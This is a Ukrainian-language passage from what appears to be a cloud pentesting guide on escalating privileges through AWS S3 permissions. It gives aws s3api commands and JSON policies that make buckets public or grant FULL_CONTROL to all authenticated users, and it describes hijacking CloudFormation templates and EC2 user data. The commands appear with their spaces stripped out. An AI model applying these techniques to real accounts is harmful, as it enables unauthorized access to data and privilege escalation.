Атакувальник з цими дозволами для цікавих відра може захопити ресурси та підвищити привілеї.
Наприклад, атакувальник з цими дозволами для відра cloudformation під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортку. Доступ може бути наданий за допомогою наступної політики:
І викрадення можливе через невелике вікно часу від моменту завантаження шаблону до моменту розгортання шаблону. Атакувальник може створити функцію лямбда у своєму обліковому записі, яка буде спрацьовувати, коли відправляється сповіщення про віджаття від кошика, і викрадативміст цього кошика.
Це дозволи для отримання та завантаження об'єктів в S3. Кілька служб всередині AWS (і поза ним) використовують сховище S3 для зберігання файлів конфігурації.
Атакувальник з доступом на читання може знайти чутливу інформацію в них.
Атакувальник з доступом на запис може змінити дані для зловживання якоюсь службою та спроби підвищення привілеїв.
Ось деякі приклади:
Якщо екземпляр EC2 зберігає дані користувача в кошику S3, атакувальник може змінити їх для виконання довільного коду всередині екземпляра EC2.
s3:PutBucketPolicy
Атакувальник, який повинен бути з того самого облікового запису, якщо ні, помилка The specified method is not allowed will trigger, з цим дозволом зможе надати собі більше дозволів на кошик(и), що дозволить йому читати, записувати, змінювати, видаляти та розкривати кошики.
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
Зловмисник може зловживати цими дозволами, щоб надати собі більше доступу до конкретних відра.
Зверніть увагу, що зловмисник не повинен бути з того ж облікового запису. Більше того, доступ на запис.
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Зловмисник може скористатися цими дозволами, щоб надати собі більший доступ до конкретних об'єктів у відрах.
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Атакувальник з цими привілеями може встановлювати Acl для конкретної версії об'єкта